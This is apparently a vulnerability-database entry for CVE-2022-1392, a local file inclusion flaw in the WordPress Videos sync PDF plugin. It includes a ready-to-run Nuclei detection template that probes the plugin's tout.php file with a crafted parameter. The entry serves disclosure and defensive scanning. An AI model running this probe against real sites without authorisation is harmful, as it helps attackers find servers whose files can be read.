CVE-2022-1392: WordPress Videos sync PDF <=1.7.4 - Local File Inclusion

日期: 2025-08-01 | 影响软件: WordPress Videos sync PDF | POC: 已公开

漏洞描述

WordPress Videos sync PDF 1.7.4 and prior does not validate the p parameter before using it in an include statement, which could lead to local file inclusion.

PoC代码[已公开]

id: CVE-2022-1392

info:
  name: WordPress Videos sync PDF <=1.7.4 - Local File Inclusion
  author: Veshraj
  severity: high
  description: WordPress Videos sync PDF 1.7.4 and prior does not validate the p parameter before using it in an include statement, which could lead to local file inclusion.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to the latest version of WordPress Videos sync PDF plugin (>=1.7.5) or apply the vendor-provided patch to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/fe3da8c1-ae21-4b70-b3f5-a7d014aa3815
    - https://packetstormsecurity.com/files/166534/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1392
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1392
    cwe-id: CWE-22
    epss-score: 0.65164
    epss-percentile: 0.98431
    cpe: cpe:2.3:a:commoninja:videos_sync_pdf:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: commoninja
    product: videos_sync_pdf
    framework: wordpress
  tags: cve,cve2022,lfi,wp-plugin,unauth,wpscan,packetstorm,wp,wordpress,commoninja

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/video-synchro-pdf/reglages/Menu_Plugins/tout.php?p=tout"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "failed to open stream: No such file or directory"
          - "REPERTOIRE_VIDEOSYNCPDFreglages/Menu_Plugins/tout.php"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100da4471b0f61409160248c5f9bbd2919232984a731a91e9f2a4e16053c04c5534022100dbe710c46a7943958b9b83c39e4da3b03b9a17ec489b827b432796945f53ed43:922c64590222798bb761d5b6d8e72950